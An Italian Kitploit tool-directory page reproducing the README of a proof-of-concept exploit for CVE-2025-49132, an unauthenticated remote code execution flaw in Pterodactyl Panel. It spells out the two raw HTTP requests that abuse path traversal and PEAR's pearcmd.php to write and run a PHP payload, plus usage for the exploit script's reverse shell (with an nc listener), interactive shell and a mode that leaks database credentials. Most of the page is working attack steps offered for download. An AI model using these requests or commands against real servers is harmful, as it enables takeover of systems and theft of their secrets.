Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Strumenti/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Vedi Repository
31208 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-49132: Pterodactyl Panel RCE non autenticata tramite metodo PHP PEAR

CVSSv3 Licenza Python

Indice

  • Panoramica
  • Dettagli sulla vulnerabilità
  • Analisi tecnica
  • Flusso dell’exploit
  • Installazione
  • Utilizzo
  • Esempi
  • Mitigazione
  • Disclaimer
  • Riferimenti
  • Autore

Panoramica

Questo repository contiene un proof-of-concept (PoC) per CVE-2025-49132, una vulnerabilità critica di esecuzione remota di codice non autenticata in Pterodactyl Panel versioni precedenti alla 1.11.11.

Pterodactyl Panel è un pannello di gestione di server di gioco gratuito e open-source basato su PHP. La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul sistema target sfruttando la gestione impropria dell’endpoint /locales/locale.json combinata con la funzionalità pearcmd.php di PHP PEAR.

Riepilogo della vulnerabilità

  • CVE ID: CVE-2025-49132
  • Punteggio CVSS: 10.0 (Critico)
  • Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: Controllo improprio della generazione di codice ('Iniezione di codice')
  • Versioni affette: Pterodactyl Panel < 1.11.11
  • Complessità dell’attacco: Bassa
  • Privilegi richiesti: Nessuno (Non autenticato)
  • Interazione dell’utente: Nessuna

Dettagli sulla vulnerabilità

Cos’è PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) è un framework e un sistema di distribuzione per componenti PHP riutilizzabili. Fornisce uno strumento da riga di comando (pearcmd.php) che può essere utilizzato per gestire i pacchetti PEAR.

Il file pearcmd.php elabora comandi tramite parametri URL e, se combinato con path traversal, può essere sfruttato per:

  1. Creare file PHP arbitrari sul sistema
  2. Eseguire tali file attraverso il server web

Causa principale

La vulnerabilità esiste perché:

  1. Path traversal non convalidato: Il parametro locale in /locales/locale.json consente path traversal senza una corretta validazione
  2. Inclusione diretta di file: L’applicazione include direttamente file basati su input controllato dall’utente
  3. Iniezione di comandi PEAR: Lo script pearcmd.php accetta il comando +config-create che può scrivere file PHP arbitrari
  4. Accesso non autenticato: L’endpoint vulnerabile non richiede autenticazione

Vettore d’attacco

Un attaccante può:

  1. Utilizzare path traversal per raggiungere la directory di installazione di PEAR
  2. Abusare del comando config-create per scrivere codice PHP malevolo in /tmp
  3. Eseguire il file PHP malevolo attraverso lo stesso endpoint
  4. Ottenere piena esecuzione remota di codice come utente del server web

Analisi tecnica

Processo di sfruttamento

L’exploit funziona in due fasi:

Fase 1: Creazione del payload

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Spiegazione:

  • +config-create+/ - Invoca la funzionalità di creazione configurazione di PEAR
  • locale=../../../../../../usr/share/php/PEAR - Path traversal verso la directory PEAR
  • namespace=pearcmd - Punta al file pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - Payload PHP e file di destinazione

Fase 2: Esecuzione del payload

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Spiegazione:

  • locale=../../../../../../tmp - Path traversal verso /tmp
  • namespace=payload - Include ed esegue payload.php

Perché la codifica URL rompe l’exploit

L’exploit richiede l’invio di caratteri speciali (<, >, ?, =) nell’URL senza codificarli. Se questi caratteri vengono codificati in URL:

  • <?=system('id')?> diventa %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR li interpreta come testo letterale invece che codice PHP
  • I tag PHP non vengono riconosciuti, impedendo l’esecuzione del codice

Flusso dell’exploit

graph TD
    A[Attaccante] -->|1. Richiesta Path Traversal| B[locale.json]
    B -->|2. Path traversal verso PEAR| C[pearcmd.php]
    C -->|3. Comando config-create| D[Scrive Payload PHP]
    D -->|4. Crea File| E[payload.php]
    E -->|5. File Creato| F[Filesystem del Server]
    
    A -->|6. Richiesta di Esecuzione| G[locale.json]
    G -->|7. Path traversal verso tmp| E
    E -->|8. Inclusione ed Esecuzione| H[Interprete PHP]
    H -->|9. Comando di Sistema| I[Comando Shell]
    I -->|10. Output del Comando| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Diagramma del flusso dell’attacco

sequenceDiagram
    participant Attaccante
    participant Server Web
    participant PEAR
    participant Filesystem
    participant Motore PHP
    
    Attaccante->>Server Web: GET locale.json con config-create
    Server Web->>PEAR: Path traversal verso pearcmd
    PEAR->>Filesystem: Crea payload.php
    Filesystem-->>Attaccante: 200 OK
    
    Attaccante->>Server Web: GET locale.json con namespace payload
    Server Web->>Filesystem: Path traversal verso payload.php
    Filesystem->>Motore PHP: Includi payload
    Motore PHP->>Motore PHP: Esegui comando di sistema
    Motore PHP-->>Attaccante: Output comando RCE

Installazione

Prerequisiti

  • Python 3.6 o superiore
  • Libreria requests

Clona il repository

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Installa le dipendenze

pip3 install -r requirements.txt

Oppure manualmente:

pip3 install requests

Utilizzo

Esecuzione di un comando base

python3 poc.py -H <host_target> -c "<comando>"

Reverse shell

# Sulla macchina attaccante, avvia listener
nc -lvnp 4444

# Esegui exploit con reverse shell
python3 poc.py -H <host_target> -r <tua_ip>:4444

Pseudo-shell interattiva

python3 poc.py -H <host_target> --shell

Fuzzing per installazioni PEAR

python3 poc.py -H <host_target> --fuzz

Scansione della vulnerabilità

python3 poc.py -H <host_target> --scan

Controlla la presenza di CVE-2025-49132 tramite perdite di configurazione (credenziali database, chiave app).

Percorso PEAR personalizzato

python3 poc.py -H <host_target> -c "whoami" -p "/opt/pear"

Output verboso

python3 poc.py -H <host_target> -c "id" -v

Mostra dettagli avanzati (creazione payload, percorso PEAR, stato esecuzione).

Opzioni complete

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
Scarica lo strumento